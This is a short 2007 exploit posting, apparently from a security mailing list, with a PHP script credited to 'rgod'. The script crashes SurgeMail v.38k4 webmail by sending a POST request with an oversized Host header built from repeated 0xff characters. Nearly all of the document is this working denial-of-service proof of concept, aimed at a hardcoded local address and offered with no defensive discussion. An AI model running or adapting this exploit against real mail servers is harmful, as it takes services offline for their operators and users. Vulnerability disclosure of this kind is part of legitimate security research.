SurgeMail v.38k4 webmail Host header crash Dec 17 2007 07:45PM
retrog alice donotspam it
<?php

/*

SurgeMail v.38k4 webmail Host header denial of service exploit

tested against the windows version

rgod

*/

dl("php_curl.so");

$url = "http://192.168.0.1";

$puf=str_repeat(0xff,0xfff);

$header ="POST / HTTP/1.0\r\n";

$header.="Host: $puf\r\n";

$header.="Connection: Close\r\n\r\n";

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL,$url);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($ch, CURLOPT_TIMEOUT, 0);

curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $header);

$data = curl_exec($ch); if (curl_errno($ch)) {

print curl_error($ch)."\n";

} else {

curl_close($ch);

}

?>

original url: http://retrogod.altervista.org/rgod_surgemail_crash.html

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